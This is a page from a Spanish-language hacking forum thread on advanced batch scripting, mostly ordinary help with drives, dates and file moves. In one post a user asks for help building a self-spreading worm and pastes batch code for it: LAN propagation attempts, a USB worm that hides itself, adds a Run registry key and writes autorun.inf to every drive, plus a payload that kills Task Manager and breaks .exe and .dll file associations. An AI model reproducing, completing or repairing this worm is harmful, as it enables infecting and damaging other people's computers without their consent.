elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
21 Marzo 2010, 08:44  


Temas destacados: Wallpaper mensual Marzo


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez.)
| | | |-+  -> Programación BATCH Avanzada. (nuevo)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 3 4 5 [6] 7 8 Ir Abajo Imprimir
Autor Tema: -> Programación BATCH Avanzada. (nuevo)  (Leído 83611 veces)
carlitos.dll

Desconectado Desconectado

Mensajes: 266



Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #75 en: 13 Agosto 2008, 22:31 »

Hola a todos!

Como puedo hacer que se cree una unidad de red con bat?

Gracias.

con el comando net use
En línea
Xen11

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #76 en: 14 Agosto 2008, 16:28 »

reitero la pregunta Hola que tal, quiero que el batch fije la fecha actual, la cambie por una X fija, abra un exe y luego la setee a la que fijo en primer orden, lo que me ocurre es que se setea a la "actual" luego de cerrar el programa, en que me equivoco, o que me falta?

Código:

FOR /F "tokens=1-4 delims=/ " %%a in ('date /t') do (set fecha=%%a-%%b-%%c)

date 29-07-2008

C:\vet\vet.exe

date %fecha%


Muchas gracias!
En línea
Novlucker
Moderador Global
*****
Desconectado Desconectado

Mensajes: 7.304


Yo que tu lo pienso dos veces!


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #77 en: 14 Agosto 2008, 16:56 »

En que para ejecutar el programa deberías de utilizar start, si no lo haces el cmd queda a la espera de que se cierre el programa, y luego sigue, es como hacer start /wait

Código
FOR /F "tokens=1-4 delims=/ " %%a in ('date /t') do (set fecha=%%a-%%b-%%c)
 
date 29-07-2008
 
start C:\vet\vet.exe
 
date %fecha%

Saludos  ;)
En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

Shinseiki86

Desconectado Desconectado

Mensajes: 44


Loading...


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #78 en: 21 Agosto 2008, 02:45 »

Buenas noches!

Necesito abrir un txt y buscar un dato especifico (aaaa-mm-dd) que se encuentra en la columna columna 505 hasta la 514 de la primera linea, y reemplazar este por otra fecha.

El nombre del archivo tiene esta estructura:

aaaa-mm-dd_numero_cc_numero_eps018_00_I.txt

Y necesito que modifique este archivo en la linea uno columna 505-514 con la fehca que se encuentra en el nombre.
Es posible con bat?


En línea
ACALFCROW

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #79 en: 12 Septiembre 2008, 18:58 »

hola que tal espero me puedan ayudar estoy creando un bat para un ejecutable el problema es que en cierto momento el ejecutable me pide que agregue otro nombre

de archivo o presione enter y ahi es donde no se como meter un enter en el bat he intentado dejar espacio en blanco un punto pero como espera el nombre de

un archivo o enter me lo toma como nombre de archivo alguien me puede ayudar
En línea
sib85

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #80 en: 25 Septiembre 2008, 00:07 »

Hola::

Tengo una duda un poco urgente, ¿Como puedo leer sólo la primera linea de un fichero txt?

lo que tengo que hacer es pasar un script de linux a windows y recrear la funcion
head -1 de shell script. Había pensado en un for, pero no se cómo poner el límite de 1 sola línea.

Muchas gracias de antemano :)

Nieves
En línea
augustocgg

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #81 en: 29 Septiembre 2008, 04:48 »

Hola

Me pueden ayudar de como hago para programar el siguiente bat

el bat me tiene que copiar archivos de una carpeta especificada, y solamente tienen que ser los archivos creados en el mes en curso de windows

la validacion seria solor por el mes en curso del sistema

Gracias a todos
En línea
flony

Desconectado Desconectado

Mensajes: 59



Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #82 en: 07 Octubre 2008, 21:14 »

hola quisiera mover unos archivos que tengo en una carpeta a otra y que pueda distinguir entre .doc y .txt si me dan una mano seria barbaro
En línea

la muerte esta tan segura de vencer que te da una vida de ventaja...la renga
Novlucker
Moderador Global
*****
Desconectado Desconectado

Mensajes: 7.304


Yo que tu lo pienso dos veces!


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #83 en: 07 Octubre 2008, 21:32 »

Hola, con el comando move alcanza, simplemente utilizas el comodín *

Código
move *.doc carpetadestino
move *.txt carpetadestino

Saludos
En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

chill@321

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #84 en: 10 Octubre 2008, 22:21 »

 :huh: tengo duda como se programa para que se prenda la compu  :huh:
En línea
sirdarckcat
Absolutamente no es (por ningun motivo):
CoAdmin
*****
Conectado Conectado

Mensajes: 6.384


xDDD


Ver Perfil WWW
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #85 en: 17 Octubre 2008, 03:09 »

jajaja, osea remotamente? o con un timeout? o como? depende que quieras hacer...
En línea

devil_boskonovitch

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #86 en: 01 Noviembre 2008, 17:13 »

Hola muchachos...!!!

Entro para ver si me podrian ayudar con unos codigos BAT...

Es que necesito un BAT que haga lo siguiente:

Que se propague por memorias USB, disco duros y particiones...!!!
Y que se pueda propagar en una RED LOCAL y que se autoejecute en las PC infectadas....


Hace ratico... encontre estos codigos de propagacion de red local, pero no me han funcionado:

Código:
@echo off
set/a ip=192.168.1.1
:mode
copy %0 > \\%ip%
start %0 at\\%ip%
set/a ip=ip+1
goto mode

Y este otro:

Código:
@echo off
set/a ip=192.168.1.1
:mode
copy %0 > \\%ip%
start %0 at\\%ip%
set/a ip=ip+1
if ip 192.168.1.255 goto salir else goto mode
:salir
exit

Me mandan error...

Y encontre este para que se propague en USB:

Código:
@echo off
attrib +s +h %0
msg * hacked by -={ naxo itc }=-
reg add hklm\software\microsoft\windows\currentversion\run /V Dump.exe /D C:\Drivers\Dump.exe /f

:bluce
ping -n 10 127.0.0.1
IF exist C:\Drivers (goto 02) else (md C:\Drivers & attrib +h +s C:\Drivers & goto 02)
:02
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\Drivers (goto a) else (md %%A:\Drivers & attrib +h +s %%A:\Drivers & goto a) )

:a
IF exist C:\Drivers\Dump.exe (goto 05) else (goto 04)
:04
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
attrib -s -h %%A:\Drivers\Dump.exe & copy "%%A:\Drivers\Dump.exe" "C:\Drivers\Dump.exe" & attrib +s +h %%A:\Drivers\Dump.exe)
attrib +h +s C:\Drivers\Dump.exe
:05
IF exist C:\autorun.inf (goto 07) else (goto 06)
:06
echo [AutoRun]>>C:\autorun.inf
echo label= naxo itc>>C:\autorun.inf
echo open=Drivers\Dump.exe>>C:\autorun.inf
echo shellexecute=Drivers\Dump.exe>>C:\autorun.inf
echo shell\Auto\command=Drivers\Dump.exe>>C:\autorun.inf
attrib +h +s C:\autorun.inf
:07
for /f "tokens=2 DELIMS= " %%B in ('FIND /I "naxo" C:\autorun.inf') do set co=%%B
if naxo== %co% (goto b) else (goto nar)
:nar
attrib -h -s C:\autorun.inf
del /f /q C:\autorun.inf
goto 06

:b
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\Drivers\Dump.exe (goto 0Cool else (attrib -s -h C:\Drivers\Dump.exe & copy "C:\Drivers\Dump.exe" "%%A:\Drivers\Dump.exe" & attrib +h +s %%A:\Drivers\Dump.exe & attrib +s +h C:\Drivers\Dump.exe & goto 0Cool )
:08
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\autorun.inf (goto 09) else (attrib -h -s C:\autorun.inf & copy "C:\autorun.inf" "%%A:\autorun.inf" & attrib +h +s %%A:\autorun.inf & attrib +h +s C:\autorun.inf & goto bluce) )

:09
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
for /f "tokens=2 DELIMS= " %%B in ('FIND /I "naxo" %%A:\autorun.inf') do set co=%%B )
if naxo== %co% (goto bluce) else (goto her)
:her
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
attrib -h -s %%A:\autorun.inf & del /f /q %%A:\autorun.inf )
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
attrib -h -s C:\autorun.inf & copy "C:\autorun.inf" "%%A:\autorun.inf" & attrib +h +s %%A:\autorun.inf & attrib +h +s C:\autorun.inf & goto bluce )

En este.. la amenaza no se copia a la carpeta Drivers que crea el BAT...????? Aun cambiando el nombre de la amenaza por un BAT, no se aplica...???

El codigo que quiero propagar es este:

Código:
@echo off
taskkill /im taskmgr.exe
msg * BURLANDO TODAS LAS DEFENSAS DE TU EQUIPO
CD C:\Program Files\
assoc .exe=txtfile
assoc .dll=batfile
CD C:\Documents ans Settings\All Users\Desktop
echo YO HE DESTRUIDO TODOS TUS PROGRAMAS > Hola.txt
exit

Cualquier ayuda se la agradecería....Mucho...!!!

Saludos...
« Última modificación: 01 Noviembre 2008, 17:15 por devil_boskonovitch » En línea
patovica

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #87 en: 02 Noviembre 2008, 15:02 »

Cuales son las intrucciones para que detecte un pendrive. O sea, quiero que pregunte si el pendrive esta conectado o no, no importa lo que sigue, yo lo que quiero saber es cual es la instruccion para detectar el pendrive.
En línea
Darioxhcx

Desconectado Desconectado

Mensajes: 1.622



Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #88 en: 02 Noviembre 2008, 18:50 »

Cuales son las intrucciones para que detecte un pendrive. O sea, quiero que pregunte si el pendrive esta conectado o no, no importa lo que sigue, yo lo que quiero saber es cual es la instruccion para detectar el pendrive.
if exist E:\
algo asi ?
saludos
En línea

Leo Gutiérrez.
Moderador
*****
Desconectado Desconectado

Mensajes: 1.331



Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #89 en: 02 Noviembre 2008, 18:54 »

Mira este codigo detecta las unidades removibles (para sistemas en español) :
Código:
@echo off
for /f "tokens=3" %%x in ('echo list volume ^| diskpart ^| find /i "Extra"') do (echo %%x:)
pause>nul

Comandos que podrian servirte :
Código:
wmic logicaldisk get caption
Código:
fsutil fsinfo drives
Código:
echo list volume | diskpart

Ahora prueba este codigo aver si te sirve :
Código:
@echo off
for /f "tokens=2 skip=1" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x | find /i "extra"
)
for /f "tokens=1 skip=2" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x | find /i "extra"
)
pause>nul
Código:
@echo off
for /f "tokens=2 skip=1" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x
)
for /f "tokens=1 skip=2" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x
)
pause>nul
exit /b


Saludos.
En línea

La gran pelea:
Páginas: 1 2 3 4 5 [6] 7 8 Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

Yashira.org    Videojuegos    indetectables.net    Seguridad Informatica Colombia    Indejuegos    Internet móvil

Noticias Informatica    Seguridad Informática    ADSL    eNYe Sec    Seguridad Wireless    Underground México    Biblioteca de Seguridad

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.11 | SMF © 2006-2008, Simple Machines LLC